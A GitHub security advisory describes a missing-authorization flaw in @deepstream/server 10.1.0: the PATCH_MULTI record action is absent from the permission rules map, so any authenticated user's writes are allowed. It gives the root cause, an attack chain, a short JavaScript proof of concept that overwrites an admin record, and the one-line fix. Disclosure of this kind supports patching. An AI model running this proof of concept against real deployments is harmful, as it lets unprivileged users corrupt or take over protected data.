GitHub Advisoryadvisory · npm
GHSA-89vx-jh4q-vg3w deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes
HIGH
Official page ↗
- Aliases
- CVE-2026-63116
- Ecosystem
- npm
- Packages
- @deepstream/server
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-862
- Reviewed
- 2026-09-22
Affected packages
• npm @deepstream/server: >= 10.1.0, < 10.1.1 → fixed in 10.1.1
Description
Summary
The `RECORD_ACTION.PATCH_MULTI` action is not registered in the Valve permission system's `RULES_MAP` (`src/services/permission/valve/rules-map.ts`). When `ConfigPermission.canPerformAction()` is called for a PATCH_MULTI message, `getRulesForMessage()` returns `null` because the action is missing from the map. This triggers an unconditional allow (`callback(..., null, true)`), completely bypassing all configured Valve permission rules.
Any authenticated user — regardless of their configured permissions — can write arbitrary data to any record using the PATCH_MULTI action.
Root Cause
In `src/services/permission/valve/rules-map.ts` lines 38-54, the `RULES_MAP[TOPIC.RECORD].actions` dictionary maps record actions to permission rule types. The actions registered include: SUBSCRIBE, SUBSCRIBEANDHEAD, SUBSCRIBEANDREAD, READ, HEAD, LISTEN, CREATE, UPDATE, PATCH, NOTIFY, DELETE, ERASE. However, `RECORD_ACTION.PATCH_MULTI` is absent from this map.
When `getRulesForMessage()` at line 86-99 encounters an action not in the map, it returns `null`. In `config-permission.ts` at line 88-93, when `ruleSpecification === null`, the callback is invoked with `true` (allow) unconditionally.
Attack Chain
1. Attacker authenticates with any valid credentials (even a minimal-privilege user)
2. Attacker sends a WebSocket message: `{topic: RECORD, action: PATCH_MULTI, name: "admin/secret-record", parsedData: [{path: "role", data: "admin"}]}`
3. `message-processor.ts:68` invokes permission check
4. `config-permission.ts:89` → `getRulesForMessage()` returns `null` for PATCH_MULTI
5. `config-permission.ts:92` → unconditional ALLOW
6. Record transition applies the operations — arbitrary record is modified
Impact
• Complete Valve permission bypass for record writes — all configured permission rules are irrelevant
• Any authenticated user can overwrite any record, including admin-only records
• Mass record overwrites can destroy application state, corrupt sessions, cause service outage
• Only exploitable when `permission.type` is set to `config` (Valve) — the recommended production configuration per deepstream documentation
• Default permission type `none` (OpenPermission) allows everything already, so default deployments are unaffected
Proof of Concept
```javascript
// Connect as a minimal-privilege user
const { DeepstreamClient } = require('@deepstream/client');
const client = new DeepstreamClient('localhost:6020');
await client.login({ username: 'restricted-user', password: 'password' });
// This should be blocked by Valve permissions but isn't:
// Send raw PATCH_MULTI message to bypass all permission rules
const connection = client.getConnection();
connection.sendMessage({
topic: 0x52, // TOPIC.RECORD
action: 0x50, // RECORD_ACTION.PATCH_MULTI (check actual enum value)
name: 'admin/protected-record',
parsedData: [
{ path: 'permissions', data: 'admin' },
{ path: 'secret', data: 'overwritten' }
]
});
```
Suggested Fix
Add `PATCH_MULTI` to the RULES_MAP in `src/services/permission/valve/rules-map.ts`:
```typescript
[RECORD_ACTION.PATCH_MULTI]: RULE_TYPES.WRITE,
```
This maps PATCH_MULTI operations to the same WRITE permission rule that governs UPDATE and PATCH.
Affected Versions
All versions that include PATCH_MULTI support with the Valve (ConfigPermission) permission system. The PATCH_MULTI action was added in commit `82ffa8119d8f4a8242ac5c3507469a22de746b65` but was never registered in RULES_MAP.
Credit
Vulnerability discovered by Zhixi "Jace" Sun of ASM/VI at TikTok.
Related
Alias · CVE (1)
- CVE-2026-63116 deepstream is a server that allows clients and backend services to sync data, send messages and make rpcs at scale. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness
References
- https://github.com/deepstreamIO/deepstream.io/security/advisories/GHSA-89vx-jh4q-vg3w web
- https://nvd.nist.gov/vuln/detail/CVE-2026-63116 advisory
- https://github.com/deepstreamIO/deepstream.io/commit/1c2adde6581c53ef47e204364bc740bc3c2e2e2a web
- https://github.com/deepstreamIO/deepstream.io package
- https://github.com/deepstreamIO/deepstream.io/releases/tag/v10.1.1 web